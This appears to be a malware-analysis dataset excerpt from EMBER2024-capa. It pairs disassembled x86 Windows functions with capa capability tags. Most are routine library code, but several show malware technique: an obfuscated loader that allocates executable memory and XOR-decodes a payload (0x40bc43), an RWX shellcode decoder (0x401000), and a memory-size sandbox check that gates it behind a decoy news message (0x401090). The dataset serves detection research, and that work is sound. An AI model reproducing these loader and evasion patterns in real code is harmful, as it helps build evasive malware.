joyce8/EMBER2024-capa huggingface dataset:
Function at 0x603c1170
Capabilities:
Write file on windows

Disassembly:
push ebp
mov eax, 0x1038
mov ebp, esp
call fcn.6041cfd0
mov dword [ebp - 8], ebx
lea eax, [ebp + 0xc]
lea ebx, [ebp - 0x1008]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.USER32.dll_wvsprintfA
sub esp, 0xc
mov esi, eax
lea eax, [ebp - 0x100c]
mov dword [esp + 0xc], eax
mov eax, dword [0x6041f0f0]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp + 0x10], 0
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, esi
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x603c64a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, eax
mov dl, byte [eax]
inc ecx
test edx, edx
je 0x603c64da
lea esi, [esi]
mov eax, edx
shl eax, 0x11
lea eax, [eax + edx]
xor edx, edx
add esi, eax
mov dl, byte [ecx]
mov eax, esi
inc ecx
shr eax, 2
xor esi, eax
test edx, edx
jne 0x603c64c0
mov eax, dword [ebp + 0xc]
xor edx, edx
sub ecx, eax
dec ecx
mov eax, ecx
mov dword [ebp - 0x10], ecx
shl eax, 0x11
add eax, ecx
mov ecx, dword [ebp + 8]
add esi, eax
mov eax, esi
shr eax, 2
xor esi, eax
mov eax, esi
div dword [ecx + 4]
mov eax, dword [ecx]
mov dword [ebp - 0x14], edx
mov ebx, dword [eax + edx*4]
test ebx, ebx
je 0x603c651f
lea esi, [esi]
cmp dword [ebx + 8], esi
je 0x603c65e0
mov ebx, dword [ebx]
test ebx, ebx
jne 0x603c6510
mov edi, dword [ebp + 0x10]
xor edx, edx
test edi, edi
je 0x603c65b5
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
push edx
mov edx, dword [ebp + 8]
push 0
call dword [edx + 8]
xor edx, edx
add esp, 0x10
mov ebx, eax
test eax, eax
je 0x603c65b5
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x603c659a
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
inc edx
mov edi, dword [ecx + 0xc]
mov dword [ebp - 0x18], edx
test edx, edx
jne 0x603c6565
mov edx, 1
add edx, 7
mov ecx, dword [edi + 4]
and edx, 0xfffffff8
cmp edx, ecx
ja 0x603c65cd
mov eax, dword [edi]
sub ecx, edx
add eax, edx
mov dword [edi + 4], ecx
mov dword [edi], eax
mov edi, eax
sub edi, edx
test edi, edi
je 0x603c65bf
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp + 0xc]
push eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0x10
mov dword [ebp + 0xc], edi
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebx + 4], eax
mov dword [ebx + 8], esi
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x14]
mov eax, dword [edx + ecx*4]
mov dword [ebx], eax
mov dword [edx + ecx*4], ebx
mov edx, ebx
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
sub esp, 0xc
push 6
call sym.exchndl.dll_bfd_set_error
xor edx, edx
jmp 0x603c65b5
push eax
push eax
push edx
push edi
call sym.exchndl.dll__objalloc_alloc
add esp, 0x10
mov edi, eax
jmp 0x603c6581
push eax
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.msvcrt.dll_strcmp
add esp, 0x10
mov edx, ebx
test eax, eax
jne 0x603c6519
jmp 0x603c65b5
Function at 0x603c7780
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
test esi, esi
je 0x603c77fb
mov edi, dword [ebp - 0x10]
test edi, edi
je 0x603c77b1
mov eax, 8
mov edi, 0x603c776d
cld
mov esi, dword [ebp - 0x10]
mov ecx, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x603c77d6
mov eax, dword [sym.exchndl.dll_bfd_default_vector]
mov dword [ebx + 0x10], 1
test eax, eax
jne 0x603c77c8
mov eax, dword [sym.exchndl.dll_bfd_target_vector]
mov eax, dword [eax]
mov dword [ebx + 4], eax
mov eax, dword [ebx + 4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
sub esp, 0xc
mov dword [ebx + 0x10], 0
mov esi, dword [ebp - 0x10]
push esi
call fcn.603c7690
mov edx, eax
add esp, 0x10
xor eax, eax
test edx, edx
je 0x603c77ce
mov dword [ebx + 4], edx
mov eax, edx
jmp 0x603c77ce
sub esp, 0xc
push 0x603c7775
call sub.msvcrt.dll_getenv
add esp, 0x10
mov dword [ebp - 0x10], eax
jmp 0x603c7796

Function at 0x603c7d50
Capabilities:
Read file on windows

Disassembly:
inc edi
jge 0x603c7d8f
pushal
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add al, byte [eax]
add byte [eax], al
and byte [eax], dl
add byte [eax], ah
outsb dx, byte [esi]
cmp al, 0x60
pushal
outsb dx, byte [esi]
cmp al, 0x60
invalid
pushal
and byte [esi + 0x3c], ch
pushal
pushal
outsb dx, byte [esi]
cmp al, 0x60
invalid

Function at 0x603c7fe0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
test byte [esi + 0x39], 8
je 0x603c8060
mov ebx, dword [esi + 8]
mov ecx, dword [esi + 0x1c]
mov eax, dword [ebx]
lea edx, [edi + ecx]
cmp edx, eax
jbe 0x603c8019
add eax, 0x7f
mov dword [ebx], edx
add edx, 0x7f
and eax, 0xffffff80
and edx, 0xffffff80
cmp edx, eax
ja 0x603c8040
mov ecx, dword [esi + 0x1c]
mov eax, dword [ebx + 4]
add ecx, eax
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push ecx
call sub.msvcrt.dll_memcpy
mov eax, dword [esi + 0x1c]
add eax, edi
mov dword [esi + 0x1c], eax
mov eax, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
push ecx
push ecx
push edx
mov edx, dword [ebx + 4]
push edx
call sym.exchndl.dll_bfd_realloc
add esp, 0x10
test eax, eax
mov dword [ebx + 4], eax
jne 0x603c8016
xor eax, eax
mov dword [ebx], 0
jmp 0x603c8034
cmp esi, dword [sym.exchndl.dll_bfd_last_cache]
je 0x603c80b3
sub esp, 0xc
push esi
call sym.exchndl.dll_bfd_cache_lookup_worker
add esp, 0x10
push eax
mov eax, dword [ebp + 8]
push edi
push 1
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov ebx, eax
cmp eax, 0xffffffff
je 0x603c8093
mov eax, dword [esi + 0x1c]
add eax, ebx
mov dword [esi + 0x1c], eax
cmp ebx, edi
je 0x603c80af
call sub.msvcrt.dll__errno
sub esp, 0xc
mov dword [eax], 0x1c
push 1
call sym.exchndl.dll_bfd_set_error
add esp, 0x10
mov eax, ebx
jmp 0x603c8034
mov eax, dword [esi + 8]
jmp 0x603c8074
Function at 0x603c9640
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test cl, 0x20
je 0x603c9652
mov edx, 0x20
test cl, 0x40
je 0x603c965a
or edx, 0x40
mov eax, ecx
and eax, 3
dec eax
je 0x603c96d0
test ch, 0xc
je 0x603c966a
or edx, 2
test cx, cx
jns 0x603c9672
or dh, 0x10
test ecx, 0x10000
je 0x603c9680
or edx, 0x2000000
test ecx, 0x40000
je 0x603c968b
or dh, 8
test ch, 4
je 0x603c9693
or dh, 8
test ecx, 0x100000
je 0x603c969e
or dh, 0x10
or edx, 0x40000000
test cl, 0x10
jne 0x603c96af
or edx, 0x80000000
test cl, 0x20
je 0x603c96ba
or edx, 0x20000000
and ecx, 0x4000000
je 0x603c96c8
or edx, 0x10000000
mov eax, edx
pop ebp
ret
or dl, 0x80
jmp 0x603c9662

Function at 0x603ce090
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test cl, 0x20
je 0x603ce0a2
mov edx, 0x20
test cl, 0x40
je 0x603ce0aa
or edx, 0x40
mov eax, ecx
and eax, 3
dec eax
je 0x603ce120
test ch, 0xc
je 0x603ce0ba
or edx, 2
test cx, cx
jns 0x603ce0c2
or dh, 0x10
test ecx, 0x10000
je 0x603ce0d0
or edx, 0x2000000
test ecx, 0x40000
je 0x603ce0db
or dh, 8
test ch, 4
je 0x603ce0e3
or dh, 8
test ecx, 0x100000
je 0x603ce0ee
or dh, 0x10
or edx, 0x40000000
test cl, 0x10
jne 0x603ce0ff
or edx, 0x80000000
test cl, 0x20
je 0x603ce10a
or edx, 0x20000000
and ecx, 0x4000000
je 0x603ce118
or edx, 0x10000000
mov eax, edx
pop ebp
ret
or dl, 0x80
jmp 0x603ce0b2
Function at 0x603d7740
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
lea ebx, [ebp - 0x224]
sub esp, 0x21c
mov byte [ebp - 0x228], 0x53
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x18]
cmp edx, 9
lea eax, [edx + 0x30]
mov byte [ebp - 0x227], al
ja case.0x603d7776.4
jmp dword [edx*4 + 0x603d7780]
mov edx, ecx
shr edx, 0x18
mov eax, edx
and eax, 0xf
movzx esi, dl
mov al, byte [eax + 0x603d6830]
mov byte [ebx + 1], al
mov eax, ecx
shr eax, 0x1c
mov al, byte [eax + 0x603d6830]
mov byte [ebx], al
add ebx, 2
mov edx, ecx
shr edx, 0x10
mov eax, edx
and edx, 0xff
and eax, 0xf
add esi, edx
mov al, byte [eax + 0x603d6830]
mov byte [ebx + 1], al
mov eax, ecx
shr eax, 0x14
and eax, 0xf
mov al, byte [eax + 0x603d6830]
mov byte [ebx], al
add ebx, 2
mov edx, ecx
shr edx, 8
mov eax, edx
and edx, 0xff
and eax, 0xf
add esi, edx
mov al, byte [eax + 0x603d6830]
mov byte [ebx + 1], al
mov eax, ecx
shr eax, 0xc
and eax, 0xf
mov al, byte [eax + 0x603d6830]
mov byte [ebx], al
mov eax, ecx
and eax, 0xf
add ebx, 2
mov al, byte [eax + 0x603d6830]
mov byte [ebx + 1], al
mov eax, ecx
shr eax, 4
and eax, 0xf
mov al, byte [eax + 0x603d6830]
mov byte [ebx], al
add ebx, 2
movzx eax, cl
add esi, eax
mov edx, dword [ebp + 0x14]
cmp edx, edi
jae 0x603d7885
xor eax, eax
mov al, byte [edx]
and eax, 0xf
mov al, byte [eax + 0x603d6830]
mov byte [ebx + 1], al
mov al, byte [edx]
shr al, 4
and eax, 0xf
mov al, byte [eax + 0x603d6830]
mov byte [ebx], al
add ebx, 2
xor eax, eax
mov al, byte [edx]
inc edx
add esi, eax
cmp edx, edi
jb 0x603d7857
lea edx, [ebp - 0x226]
mov eax, ebx
sub eax, edx
mov edx, eax
shr edx, 0x1f
add eax, edx
mov ecx, eax
sar eax, 5
sar ecx, 1
and eax, 0xf
mov edx, ecx
and ecx, 0xff
add esi, ecx
mov al, byte [eax + 0x603d6830]
mov byte [ebp - 0x226], al
and edx, 0xf
mov eax, esi
xor eax, 0xffffffff
mov dl, byte [edx + 0x603d6830]
and eax, 0xff
mov byte [ebp - 0x225], dl
mov esi, eax
and eax, 0xf
shr esi, 4
mov al, byte [eax + 0x603d6830]
mov byte [ebx + 1], al
mov al, byte [esi + 0x603d6830]
mov byte [ebx], al
lea eax, [ebp - 0x228]
add ebx, 2
mov byte [ebx], 0xd
inc ebx
mov byte [ebx], 0xa
push ecx
inc ebx
mov edx, dword [ebp + 8]
sub ebx, eax
push edx
push ebx
push eax
call sym.exchndl.dll_bfd_bwrite
add esp, 0x10
cmp eax, ebx
sete al
lea esp, [ebp - 0xc]
and eax, 0xff
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x603f35b0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push eax
push eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov eax, dword [edx + 0x30]
cmp eax, 1
je 0x603f35e6
cmp eax, 2
je 0x603f35d8
sub esp, 0xc
push 3
call sym.exchndl.dll_bfd_set_error
xor eax, eax
mov esp, ebp
pop ebp
ret
mov dword [ebp + 0xc], ecx
mov dword [ebp + 8], edx
mov esp, ebp
pop ebp
jmp fcn.603f37a0
mov dword [ebp + 0xc], ecx
mov dword [ebp + 8], edx
mov esp, ebp
pop ebp
jmp fcn.603f4780
Function at 0x603f64c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov edx, 1
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test edi, edi
je 0x603f64f1
mov ecx, dword [ebp + 8]
push eax
push 0
mov esi, dword [edi + 0x20]
push esi
push ecx
call sym.exchndl.dll_bfd_seek
xor edx, edx
add esp, 0x10
test eax, eax
je 0x603f6500
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, dword [edi + 0x10]
push eax
push ebx
call sym.exchndl.dll_bfd_bread
xor edx, edx
mov ecx, dword [edi + 0x10]
add esp, 0x10
cmp eax, ecx
jne 0x603f64f1
mov edx, dword [ebp + 8]
mov esi, dword [edi + 0x14]
cmp esi, 8
mov eax, dword [edx + 4]
mov eax, dword [eax + 0x178]
mov dword [ebp - 0x10], eax
je 0x603f6593
cmp esi, 0xc
jne 0x603f659e
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0xd0]
mov eax, dword [eax + 0x3c]
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, ecx
div esi
imul eax, esi
mov esi, dword [ebp + 0x14]
lea eax, [eax + ebx]
mov dword [ebp - 0x18], eax
cmp ebx, eax
jb 0x603f6563
mov edx, 1
jmp 0x603f64f1
push eax
mov eax, dword [ebp + 8]
push esi
push ebx
push eax
call dword [ebp - 0x14]
add esp, 0x10
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0xd0]
mov al, byte [eax + 9]
and eax, 0xff
lea eax, [eax + eax*2]
lea esi, [esi + eax*4]
mov eax, dword [edi + 0x14]
add ebx, eax
cmp ebx, dword [ebp - 0x18]
jb 0x603f6563
jmp 0x603f655c
mov eax, dword [eax + 0xd0]
mov eax, dword [eax + 0x34]
jmp 0x603f6543
push eax
push 0x603f6490
push 0x9d0
push 0x603f4197
call sym.exchndl.dll__bfd_abort
lea esi, [esi]
lea edi, [edi]
Function at 0x6041c400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 2
mov ebp, esp
cld
sub esp, 0x28
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov esi, ebx
mov edi, 0x6041c3f2
repe cmpsb byte [esi], byte es:[edi]
seta dl
setb al
xor ecx, ecx
cmp dl, al
jne 0x6041c45f
mov dword [esp + 4], 0x4000
mov dword [esp], ebx
call fcn.60417d90
test eax, eax
mov esi, eax
je 0x6041c4a5
mov dword [esp], eax
call fcn.60417a40
test eax, eax
mov ebx, eax
jne 0x6041c47c
mov dword [esp], esi
call fcn.60417f10
test eax, eax
mov ecx, esi
jne 0x6041c470
mov ebx, dword [ebp - 0xc]
mov eax, ecx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], esi
call fcn.60417e30
xor ecx, ecx
jmp 0x6041c45f
mov dword [esp], esi
call fcn.60417e30
mov dword [esp + 8], ebx
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 4], 0x6041c3f5
add eax, 0x40
mov dword [esp], eax
call fcn.6041d180
call sub.msvcrt.dll_abort
mov dword [esp + 8], 0x1a
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 4], 1
mov dword [esp], 0x6041c111
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
jmp 0x6041c4a0
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40bc43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40bc52
pop dword [ebp - 0xc]
mov eax, 0x40bc52
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3b319
push 0
mov eax, 0x562e7289
add eax, 0xaa126e4f
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x4ee8
xor esi, esi
add esi, eax
mov edx, 0x722b4367
sub edx, 0x71ea07a3
add edx, dword [ebp - 0xc]
mov edi, 0xc97b4847
sub edi, 0x1359d986
add dword [ebp - 4], 0x69f2bccb
mov ebx, dword [edx]
add dword [ebp - 4], 0x2a5960d3
add ebx, edi
xor dword [ebp - 8], ebx
mov dword [esi], ebx
add dword [ebp - 4], edi
add esi, 0x2685f5de
add esi, 0xd97a0a26
add edx, 0xab4b858f
sub edx, 0xab4b858b
loop 0x40bca8
add eax, 0xc2d3b61
add eax, 0xf3d3f312
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9e560a1e
add ecx, 0x61e9f5e2
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x100024e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10002541
mov eax, dword [ebp + 0x14]
shl dword [ebp + 0x10], 8
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov ebx, dword [ebp + 0x1c]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x18]
push esi
mov cl, byte [ecx]
movsx edx, cl
sub cl, 0x61
cmp cl, 0x19
mov ecx, dword [ebp + 0x10]
lea esi, [edx - 0x20]
cmova esi, edx
mov edx, dword [ebp + 0xc]
add ecx, esi
add eax, ebx
xor eax, dword [edx + ecx*4]
mov ecx, ebx
shl ecx, 5
add ecx, 3
add ecx, esi
add ebx, ecx
mov ecx, dword [ebp + 8]
inc ecx
add ebx, eax
mov dword [ebp + 8], ecx
sub edi, 1
jne 0x10002502
pop esi
pop ebx
pop edi
pop ebp
ret 0x18
mov eax, dword [ebp + 0x18]
pop edi
pop ebp
ret 0x18
Function at 0x100f25c0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x100f27a4
pushal
mov esi, section.UPX1
lea edi, [esi - 0xbf000]
push edi
jmp 0x100f25ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x100f25f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100f25e0
mov eax, 1
add ebx, ebx
jne 0x100f2603
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x100f2614
jne 0x100f2633
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100f2633
dec eax
add ebx, ebx
jne 0x100f2620
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x100f25f8
add ebx, ebx
jne 0x100f262f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x100f2685
xor ecx, ecx
sub eax, 3
jb 0x100f264b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x100f26ba
sar eax, 1
mov ebp, eax
jmp 0x100f2656
add ebx, ebx
jne 0x100f2656
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100f2624
inc ecx
add ebx, ebx
jne 0x100f2664
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100f2624
add ebx, ebx
jne 0x100f2671
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x100f2666
jne 0x100f2682
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100f2666
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x100f26a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x100f2696
jmp 0x100f25e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x100f26a4
add edi, ecx
jmp 0x100f25e6
pop esi
mov edi, esi
mov ecx, 0x3d60
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x100f26c2
cmp byte [edi], 0x21
jne 0x100f26c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x100f26c7
lea edi, [esi + 0xed000]
mov eax, dword [edi]
or eax, eax
je 0x100f2736
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf2448]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf248c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x100f26f4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf2490]
or eax, eax
je 0x100f2730
mov dword [ebx], eax
add ebx, 4
jmp 0x100f2711
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x100f2767
cmp al, 0xef
ja 0x100f275a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x100f273c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x100f2749
mov ebp, dword [esi + 0xf2494]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x100f279b
sub esp, 0xffffff80
jmp 0x1003f9e0
Function at 0x1000ff4b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000bac0]
jne 0x10051674
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10054c28], eax
mov dword [0x10054c24], ecx
mov dword [0x10054c20], edx
mov dword [0x10054c1c], ebx
mov dword [0x10054c18], esi
mov dword [0x10054c14], edi
mov word [0x10054c40], ss
mov word [0x10054c34], cs
mov word [0x10054c10], ds
mov word [0x10054c0c], es
mov word [0x10054c08], fs
mov word [0x10054c04], gs
pushfd
pop dword [0x10054c38]
mov eax, dword [ebp]
mov dword [0x10054c2c], eax
mov eax, dword [ebp + 4]
mov dword [0x10054c30], eax
lea eax, [ebp + 8]
mov dword [0x10054c3c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10054b78], 0x10001
mov eax, dword [0x10054c30]
mov dword [0x10054b2c], eax
mov dword [0x10054b20], 0xc0000409
mov dword [0x10054b24], 1
mov eax, dword [0x1000bac0]
mov dword [ebp - 0x328], eax
mov eax, dword [0x10054a58]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10054b70], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x1000bac8
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10054b70], 0
jne 0x10051760
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x401b30
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x4380c0], 0x24e1
mov eax, dword [0x4380c0]
sub eax, 0x24e1
mov dword [0x4380c0], eax
mov ecx, 1
test ecx, ecx
je 0x401bdb
mov edx, dword [0x4380c0]
cmp edx, dword [ebp + 0xc]
jb 0x401b67
jmp 0x401bdb
cmp dword [0x4380c0], 0
jne 0x401b85
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x401b85
xor eax, eax
jmp 0x401bdb
mov eax, dword [ebp + 8]
add eax, dword [0x4380c0]
mov ecx, dword [eax]
add ecx, dword [0x4380c0]
mov edx, dword [ebp + 8]
add edx, dword [0x4380c0]
mov dword [edx], ecx
mov dword [ebp - 4], 0xdb752
mov eax, dword [0x4380c0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x4380c0]
push eax
call fcn.004011f0
add esp, 8
mov ecx, dword [0x4380c0]
add ecx, 4
mov dword [0x4380c0], ecx
jmp 0x401b4d
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 0x7e1
push 0x4031d0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
xor ecx, ecx
nop word [eax + eax]
add edx, 1
lea eax, [ecx + 1]
cmovne eax, ecx
mov ecx, eax
cmp ecx, 3
jb 0x401030
xor eax, eax
mov edx, eax
and edx, 0x1f
movzx ecx, byte [edx + 0x4031d0]
xor byte [eax + 0x4031f0], cl
movzx ecx, byte [eax + 0x4031f0]
mov dl, byte [edx + 0x4031d0]
add dl, cl
xor dl, 0x7a
mov byte [eax + 0x4031f0], dl
inc eax
cmp eax, 0x7c1
jb 0x401042
mov eax, 0x4031f0
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401119
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Get memory capacity
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x48], eax
push esi
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
shrd ecx, eax, 0x14
shr eax, 0x14
lea eax, [ecx - 0x200]
cmp eax, 0x1f200
ja 0x4010e1
call fcn.00401000
jmp 0x4010f6
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push str.The_US_president_says_he_hopes_there_will_be_a_ceasefire_by_next_week._Earlier_Monday__Hamas_dropped_some_key_demands_in_negotiations.A_diplomatic_source_familiar_with_the_discussions_confirmed_that_Hamas_softened_its_position_ahead_of_an_agreement_on_the_first_phase_of_a_deal._Though_it_is_expected_that_more_challenging_hurdles_will_emerge_later_when_complex_issues_like_Hamas_releasing_male_IDF_hostages_and_an_end_to_the_war_will_be_discussed.
push 0
call esi
push 0
push 0
push str.The_US_president_says_he_hopes_there_will_be_a_ceasefire_by_next_week._Earlier_Monday__Hamas_dropped_some_key_demands_in_negotiations.A_diplomatic_source_familiar_with_the_discussions_confirmed_that_Hamas_softened_its_position_ahead_of_an_agreement_on_the_first_phase_of_a_deal._Though_it_is_expected_that_more_challenging_hurdles_will_emerge_later_when_complex_issues_like_Hamas_releasing_male_IDF_hostages_and_an_end_to_the_war_will_be_discussed.
push 0
call esi
push 0
push 0
push 0x4031d0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]